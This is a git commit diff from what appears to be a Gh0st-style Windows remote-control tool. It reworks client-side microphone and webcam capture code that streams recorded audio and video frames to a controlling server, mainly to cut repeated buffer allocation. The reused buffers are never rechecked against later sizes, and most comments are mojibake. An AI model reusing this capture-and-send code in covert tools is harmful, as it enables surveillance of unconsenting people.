减少捕获音视频时申请内存次数

减少音频视频捕获过程中频繁申请内存。
This commit is contained in:
yuanyuanxiang
2019-01-22 20:44:23 +08:00
parent 4283a31e66
commit bd7b9ed492
11 changed files with 63 additions and 36 deletions

View File

@@ -133,3 +133,7 @@
2019.1.21 2019.1.21
减少远程桌面new缓冲区的频率将部分从堆上new固定内存的操作改用从栈上分配内存。 减少远程桌面new缓冲区的频率将部分从堆上new固定内存的操作改用从栈上分配内存。
2019.1.22
减少音频视频捕获过程中频繁申请内存。

View File

@@ -147,10 +147,7 @@ LPBYTE CAudio::GetRecordBuffer(LPDWORD dwBufferSize)
{ {
return NULL; return NULL;
} }
if (dwBufferSize == NULL)
{
return NULL;
}
SetEvent(m_hStartRecord); SetEvent(m_hStartRecord);
WaitForSingleObject(m_hEventWaveIn, INFINITE); WaitForSingleObject(m_hEventWaveIn, INFINITE);
*dwBufferSize = m_ulBufferLength; *dwBufferSize = m_ulBufferLength;

View File

@@ -31,6 +31,7 @@ CAudioManager::CAudioManager(IOCPClient* ClientObject, int n):CManager(ClientObj
m_ClientObject->OnServerSending((char*)&bToken, 1); m_ClientObject->OnServerSending((char*)&bToken, 1);
WaitForDialogOpen(); //<2F>ȴ<EFBFBD><C8B4>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> WaitForDialogOpen(); //<2F>ȴ<EFBFBD><C8B4>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
szPacket = NULL;
m_hWorkThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, m_hWorkThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread,
(LPVOID)this, 0, NULL); (LPVOID)this, 0, NULL);
@@ -77,7 +78,7 @@ BOOL CAudioManager::SendRecordBuffer()
if (szBuffer == NULL) if (szBuffer == NULL)
return 0; return 0;
//<2F><><EFBFBD><EFBFBD><E4BBBA><EFBFBD><EFBFBD> //<2F><><EFBFBD><EFBFBD><E4BBBA><EFBFBD><EFBFBD>
LPBYTE szPacket = new BYTE[dwBufferSize + 1]; szPacket = szPacket ? szPacket : new BYTE[dwBufferSize + 1];
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ
szPacket[0] = TOKEN_AUDIO_DATA; //<2F><><EFBFBD><EFBFBD><EFBFBD>ض˷<D8B6><CBB7>͸<EFBFBD><CDB8><EFBFBD>Ϣ szPacket[0] = TOKEN_AUDIO_DATA; //<2F><><EFBFBD><EFBFBD><EFBFBD>ض˷<D8B6><CBB7>͸<EFBFBD><CDB8><EFBFBD>Ϣ
//<2F><><EFBFBD>ƻ<EFBFBD><C6BB><EFBFBD><EFBFBD><EFBFBD> //<2F><><EFBFBD>ƻ<EFBFBD><C6BB><EFBFBD><EFBFBD><EFBFBD>
@@ -87,7 +88,6 @@ BOOL CAudioManager::SendRecordBuffer()
{ {
dwReturn = m_ClientObject->OnServerSending((char*)szPacket, dwBufferSize + 1); dwReturn = m_ClientObject->OnServerSending((char*)szPacket, dwBufferSize + 1);
} }
delete szPacket;
return dwReturn; return dwReturn;
} }
@@ -103,6 +103,11 @@ CAudioManager::~CAudioManager()
delete m_AudioObject; delete m_AudioObject;
m_AudioObject = NULL; m_AudioObject = NULL;
} }
if (szPacket)
{
delete [] szPacket;
szPacket = NULL;
}
printf("~CAudioManager %x\n", this); printf("~CAudioManager %x\n", this);
} }

View File

@@ -26,6 +26,7 @@ public:
BOOL SendRecordBuffer(); BOOL SendRecordBuffer();
CAudio* m_AudioObject; CAudio* m_AudioObject;
LPBYTE szPacket; // <20><>Ƶ<EFBFBD><C6B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
}; };
#endif // !defined(AFX_AUDIOMANAGER_H__B47ECAB3_9810_4031_9E2E_BC34825CAD74__INCLUDED_) #endif // !defined(AFX_AUDIOMANAGER_H__B47ECAB3_9810_4031_9E2E_BC34825CAD74__INCLUDED_)

View File

@@ -12,18 +12,20 @@ CSampleGrabberCB mCB;
CCaptureVideo::CCaptureVideo() CCaptureVideo::CCaptureVideo()
{ {
if(FAILED(CoInitialize(NULL))) if(FAILED(CoInitialize(NULL)))
{ {
return; return;
} }
m_pCapture = NULL; m_pCapture = NULL;
m_pGB = NULL; m_pGB = NULL;
m_pMC = NULL; m_pMC = NULL;
m_pVW = NULL; m_pVW = NULL;
m_bExit = FALSE;
} }
CCaptureVideo::~CCaptureVideo() CCaptureVideo::~CCaptureVideo()
{ {
m_bExit = TRUE;
if(m_pMC)m_pMC->StopWhenReady(); if(m_pMC)m_pMC->StopWhenReady();
if(m_pVW){ if(m_pVW){
m_pVW->put_Visible(OAFALSE); m_pVW->put_Visible(OAFALSE);
@@ -55,7 +57,7 @@ HRESULT CCaptureVideo::Open(int iDeviceID,int iPress)
hResult = m_pGB->AddFilter(m_pBF, L"Capture Filter"); hResult = m_pGB->AddFilter(m_pBF, L"Capture Filter");
hResult = CoCreateInstance(CLSID_SampleGrabber, NULL, CLSCTX_INPROC_SERVER, hResult = CoCreateInstance(CLSID_SampleGrabber, NULL, CLSCTX_INPROC_SERVER,
IID_ISampleGrabber, (void**)&m_pGrabber); //<2F><><EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD> IID_ISampleGrabber, (void**)&m_pGrabber); //<2F><><EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD>
if(FAILED(hResult)) if(FAILED(hResult))
break; break;
@@ -258,10 +260,9 @@ LPBYTE CCaptureVideo::GetDIB(DWORD& dwSize)
{ {
if (mCB.bStact==CMD_CAN_SEND) //<2F><><EFBFBD><EFBFBD><EFBFBD>ı<EFBFBD><C4B1><EFBFBD>һ<EFBFBD>·<EFBFBD><C2B7>͵<EFBFBD>״̬ if (mCB.bStact==CMD_CAN_SEND) //<2F><><EFBFBD><EFBFBD><EFBFBD>ı<EFBFBD><C4B1><EFBFBD>һ<EFBFBD>·<EFBFBD><C2B7>͵<EFBFBD>״̬
{ {
szBuffer = mCB.GetNextScreen(dwSize);//ͨ<><CDA8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD>ij<EFBFBD>Ա<EFBFBD><D4B1><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD><C3B5><EFBFBD>Ƶ<EFBFBD><C6B5><EFBFBD>ݣ<EFBFBD><DDA3><EFBFBD><EFBFBD>Ǽ<EFBFBD><C7BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> szBuffer = mCB.GetNextScreen(dwSize);
} }
} while (szBuffer==NULL); } while (szBuffer==NULL && !m_bExit);
return szBuffer; return szBuffer;
} }

View File

@@ -36,7 +36,7 @@ public:
LPBITMAPINFO m_BitmapInfor_Full; LPBITMAPINFO m_BitmapInfor_Full;
BYTE* m_BitmapData_Full; BYTE* m_BitmapData_Full;
BOOL bStact; BOOL bStact;
DWORD m_dwSize; DWORD m_dwSize; // <20><>Ƶͼ<C6B5><CDBC><EFBFBD><EFBFBD><EFBFBD>ݴ<EFBFBD>С
CSampleGrabberCB() CSampleGrabberCB()
{ {
@@ -152,6 +152,7 @@ public:
} }
}; };
extern CSampleGrabberCB mCB;
class CCaptureVideo class CCaptureVideo
{ {
@@ -165,6 +166,10 @@ public:
LPBYTE GetDIB(DWORD& dwSize); LPBYTE GetDIB(DWORD& dwSize);
int GetDIBBufSize() const { return mCB.m_dwSize; }
BOOL m_bExit;
HWND m_hWnd; HWND m_hWnd;
IGraphBuilder * m_pGB; //ͨ<><CDA8><EFBFBD><EFBFBD>ֵ<EFBFBD><D6B5><EFBFBD>Է<EFBFBD><D4B7><EFBFBD> FCDO Filter Control Device Object IGraphBuilder * m_pGB; //ͨ<><CDA8><EFBFBD><EFBFBD>ֵ<EFBFBD><D6B5><EFBFBD>Է<EFBFBD><D4B7><EFBFBD> FCDO Filter Control Device Object

View File

@@ -20,6 +20,7 @@ CVideoManager::CVideoManager(IOCPClient* ClientObject, int n) : CManager(ClientO
m_fccHandler = 1129730893; m_fccHandler = 1129730893;
m_CapVideo.Open(0,0); // <20><><EFBFBD><EFBFBD> m_CapVideo.Open(0,0); // <20><><EFBFBD><EFBFBD>
lpBuffer = NULL;
m_hWorkThread = CreateThread(NULL, 0, m_hWorkThread = CreateThread(NULL, 0,
(LPTHREAD_START_ROUTINE)WorkThread, this, 0, NULL); (LPTHREAD_START_ROUTINE)WorkThread, this, 0, NULL);
@@ -39,17 +40,29 @@ DWORD CVideoManager::WorkThread(LPVOID lParam)
This->SendBitMapInfor(); //<2F><><EFBFBD><EFBFBD>bmpλͼ<CEBB> This->SendBitMapInfor(); //<2F><><EFBFBD><EFBFBD>bmpλͼ<CEBB>
// <20>ȿ<EFBFBD><C8BF>ƶ˶Ի<CBB6><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> // <20>ȿ<EFBFBD><C8BF>ƶ˶Ի<CBB6><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
This->WaitForDialogOpen(); This->WaitForDialogOpen();
#if USING_ZLIB
const int fps = 8;// ֡<><D6A1>
#elif USING_LZ4
const int fps = 8;// ֡<><D6A1>
#else
const int fps = 8;// ֡<><D6A1>
#endif
const int sleep = 1000 / fps;// <20><><EFBFBD><EFBFBD>ʱ<EFBFBD>䣨ms<6D><73>
timeBeginPeriod(1);
while (This->m_bIsWorking) while (This->m_bIsWorking)
{ {
// <20><><EFBFBD><EFBFBD><EFBFBD>ٶ<EFBFBD> // <20><><EFBFBD><EFBFBD><EFBFBD>ٶ<EFBFBD>
if ((GetTickCount() - dwLastScreen) < 150) int span = sleep-(GetTickCount() - dwLastScreen);
Sleep(100); Sleep(span > 0 ? span : 1);
if (span < 0)
printf("SendScreen Span = %d ms\n", span);
dwLastScreen = GetTickCount(); dwLastScreen = GetTickCount();
This->SendNextScreen(); //<2F><><EFBFBD><EFBFBD>û<EFBFBD><C3BB>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD>صĴ<D8B5><C4B4><EFBFBD><EFBFBD>ˣ<EFBFBD><CBA3><EFBFBD><EFBFBD>ǵ<EFBFBD>sendNextScreen <20><><EFBFBD><EFBFBD> if(FALSE == This->SendNextScreen())
break;
} }
timeEndPeriod(1);
This->Destroy(); This->Destroy();
std::cout<<"CVideoManager WorkThread end\n"; std::cout<<"CVideoManager WorkThread end\n";
@@ -60,7 +73,7 @@ DWORD CVideoManager::WorkThread(LPVOID lParam)
CVideoManager::~CVideoManager() CVideoManager::~CVideoManager()
{ {
InterlockedExchange((LPLONG)&m_bIsWorking, FALSE); InterlockedExchange((LPLONG)&m_bIsWorking, FALSE);
m_CapVideo.m_bExit = TRUE;
WaitForSingleObject(m_hWorkThread, INFINITE); WaitForSingleObject(m_hWorkThread, INFINITE);
CloseHandle(m_hWorkThread); CloseHandle(m_hWorkThread);
std::cout<<"CVideoManager ~CVideoManager \n"; std::cout<<"CVideoManager ~CVideoManager \n";
@@ -69,10 +82,13 @@ CVideoManager::~CVideoManager()
delete m_pVideoCodec; delete m_pVideoCodec;
m_pVideoCodec = NULL; m_pVideoCodec = NULL;
} }
if (lpBuffer)
delete [] lpBuffer;
} }
void CVideoManager::Destroy() void CVideoManager::Destroy()
{ {
m_bIsWorking = FALSE;
std::cout<<"CVideoManager Destroy \n"; std::cout<<"CVideoManager Destroy \n";
if (m_pVideoCodec) //ѹ<><D1B9><EFBFBD><EFBFBD> if (m_pVideoCodec) //ѹ<><D1B9><EFBFBD><EFBFBD>
{ {
@@ -90,18 +106,21 @@ void CVideoManager::SendBitMapInfor()
m_ClientObject->OnServerSending((char*)szBuffer, dwBytesLength); m_ClientObject->OnServerSending((char*)szBuffer, dwBytesLength);
} }
void CVideoManager::SendNextScreen() BOOL CVideoManager::SendNextScreen()
{ {
DWORD dwBmpImageSize=0; DWORD dwBmpImageSize=0;
LPVOID lpDIB =m_CapVideo.GetDIB(dwBmpImageSize); LPVOID lpDIB =m_CapVideo.GetDIB(dwBmpImageSize);
if(lpDIB == NULL)
return FALSE;
// token + IsCompress + m_fccHandler + DIB // token + IsCompress + m_fccHandler + DIB
int nHeadLen = 1 + 1 + 4; const int nHeadLen = 1 + 1 + 4;
UINT nBufferLen = nHeadLen + dwBmpImageSize; UINT nBufferLen = nHeadLen + dwBmpImageSize;
LPBYTE lpBuffer = new BYTE[nBufferLen]; lpBuffer = lpBuffer ? lpBuffer : new BYTE[nBufferLen];
lpBuffer[0] = TOKEN_WEBCAM_DIB; lpBuffer[0] = TOKEN_WEBCAM_DIB;
lpBuffer[1] = m_bIsCompress; //ѹ<><D1B9> lpBuffer[1] = m_bIsCompress; //ѹ<><D1B9>
memcpy(lpBuffer + 2, &m_fccHandler, sizeof(DWORD)); //<2F><><EFBFBD><EFBFBD><EFBDAB>Ƶѹ<C6B5><D1B9><EFBFBD><EFBFBD>д<EFBFBD><D0B4>Ҫ<EFBFBD><D2AA><EFBFBD>͵Ļ<CDB5><C4BB><EFBFBD><EFBFBD><EFBFBD> memcpy(lpBuffer + 2, &m_fccHandler, sizeof(DWORD)); //<2F><><EFBFBD><EFBFBD><EFBDAB>Ƶѹ<C6B5><D1B9><EFBFBD><EFBFBD>д<EFBFBD><D0B4>Ҫ<EFBFBD><D2AA><EFBFBD>͵Ļ<CDB5><C4BB><EFBFBD><EFBFBD><EFBFBD>
@@ -109,15 +128,14 @@ void CVideoManager::SendNextScreen()
if (m_bIsCompress && m_pVideoCodec) //<2F><><EFBFBD><EFBFBD><EFBFBD>жϣ<D0B6><CFA3>Ƿ<EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD>ʼ<EFBFBD><CABC><EFBFBD>ɹ<EFBFBD><C9B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɹ<EFBFBD><C9B9><EFBFBD>ѹ<EFBFBD><D1B9> if (m_bIsCompress && m_pVideoCodec) //<2F><><EFBFBD><EFBFBD><EFBFBD>жϣ<D0B6><CFA3>Ƿ<EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD>ʼ<EFBFBD><CABC><EFBFBD>ɹ<EFBFBD><C9B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɹ<EFBFBD><C9B9><EFBFBD>ѹ<EFBFBD><D1B9>
{ {
int nCompressLen = 0; int nCompressLen = 0;
//<2F><><EFBFBD><EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD>Ƶ<EFBFBD><C6B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD> //<2F><><EFBFBD><EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD>Ƶ<EFBFBD><C6B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
bool bRet = m_pVideoCodec->EncodeVideoData((LPBYTE)lpDIB, bool bRet = m_pVideoCodec->EncodeVideoData((LPBYTE)lpDIB,
m_CapVideo.GetBmpInfor()->bmiHeader.biSizeImage, lpBuffer + nHeadLen, m_CapVideo.GetBmpInfor()->bmiHeader.biSizeImage, lpBuffer + nHeadLen,
&nCompressLen, NULL); &nCompressLen, NULL);
if (!nCompressLen) if (!nCompressLen)
{ {
// some thing error // some thing error
delete [] lpBuffer; return FALSE;
return;
} }
//<2F><><EFBFBD>¼<EFBFBD><C2BC><EFBFBD><E3B7A2><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD><DDB0>Ĵ<EFBFBD>С ʣ<>¾<EFBFBD><C2BE>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD>ˣ<EFBFBD><CBA3><EFBFBD><EFBFBD>ǵ<EFBFBD><C7B5><EFBFBD><EFBFBD>ض˿<D8B6>һ<EFBFBD><D2BB><EFBFBD><EFBFBD>Ƶ<EFBFBD><C6B5><EFBFBD><EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ô<EFBFBD><C3B4><EFBFBD><EFBFBD> //<2F><><EFBFBD>¼<EFBFBD><C2BC><EFBFBD><E3B7A2><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD><DDB0>Ĵ<EFBFBD>С ʣ<>¾<EFBFBD><C2BE>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD>ˣ<EFBFBD><CBA3><EFBFBD><EFBFBD>ǵ<EFBFBD><C7B5><EFBFBD><EFBFBD>ض˿<D8B6>һ<EFBFBD><D2BB><EFBFBD><EFBFBD>Ƶ<EFBFBD><C6B5><EFBFBD><EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ô<EFBFBD><C3B4><EFBFBD><EFBFBD>
//<2F><><EFBFBD><EFBFBD><EFBFBD>ض˵<D8B6>void CVideoDlg::OnReceiveComplete(void) //<2F><><EFBFBD><EFBFBD><EFBFBD>ض˵<D8B6>void CVideoDlg::OnReceiveComplete(void)
@@ -133,7 +151,7 @@ void CVideoManager::SendNextScreen()
m_ClientObject->OnServerSending((char*)lpBuffer, nPacketLen); m_ClientObject->OnServerSending((char*)lpBuffer, nPacketLen);
delete [] lpBuffer; return TRUE;
} }

View File

@@ -23,7 +23,7 @@ public:
HANDLE m_hWorkThread; HANDLE m_hWorkThread;
void SendBitMapInfor(); void SendBitMapInfor();
void SendNextScreen(); BOOL SendNextScreen();
static DWORD WorkThread(LPVOID lParam); static DWORD WorkThread(LPVOID lParam);
CCaptureVideo m_CapVideo; CCaptureVideo m_CapVideo;
@@ -32,6 +32,7 @@ public:
DWORD m_fccHandler; DWORD m_fccHandler;
bool m_bIsCompress; bool m_bIsCompress;
LPBYTE lpBuffer; // ץͼ<D7A5><CDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
CVideoCodec *m_pVideoCodec; //ѹ<><D1B9><EFBFBD><EFBFBD> CVideoCodec *m_pVideoCodec; //ѹ<><D1B9><EFBFBD><EFBFBD>
void Destroy(); void Destroy();

View File

@@ -815,11 +815,6 @@ VOID CMy2015RemoteDlg::Activate(int nPort,int nMaxConnection)
{ {
m_iocpServer = new IOCPServer; //<2F><>̬<EFBFBD><CCAC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǵ<EFBFBD><C7B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> m_iocpServer = new IOCPServer; //<2F><>̬<EFBFBD><CCAC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǵ<EFBFBD><C7B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if (m_iocpServer==NULL)
{
return;
}
if (m_iocpServer->StartServer(NotifyProc, OfflineProc, nPort)==FALSE) if (m_iocpServer->StartServer(NotifyProc, OfflineProc, nPort)==FALSE)
{ {
OutputDebugStringA("======> StartServer Failed \n"); OutputDebugStringA("======> StartServer Failed \n");

View File

@@ -33,8 +33,7 @@ CAudio::CAudio()
m_ulBufferLength = 1000; m_ulBufferLength = 1000;
int i = 0; for (int i = 0; i < 2; ++i)
for (i = 0; i < 2; ++i)
{ {
m_InAudioData[i] = new BYTE[m_ulBufferLength]; m_InAudioData[i] = new BYTE[m_ulBufferLength];
m_InAudioHeader[i] = new WAVEHDR; m_InAudioHeader[i] = new WAVEHDR;

View File

@@ -12,7 +12,8 @@ CCpuUsage::CCpuUsage()
CCpuUsage::~CCpuUsage() CCpuUsage::~CCpuUsage()
{ {
PdhCloseQuery(m_hQuery); //<2F>رռ<D8B1><D5BC><EFBFBD><EFBFBD><EFBFBD> PdhCloseQuery(m_hQuery); //<2F>رռ<D8B1><D5BC><EFBFBD><EFBFBD><EFBFBD>
delete m_pCounterStruct; if (m_pCounterStruct)
delete m_pCounterStruct;
} }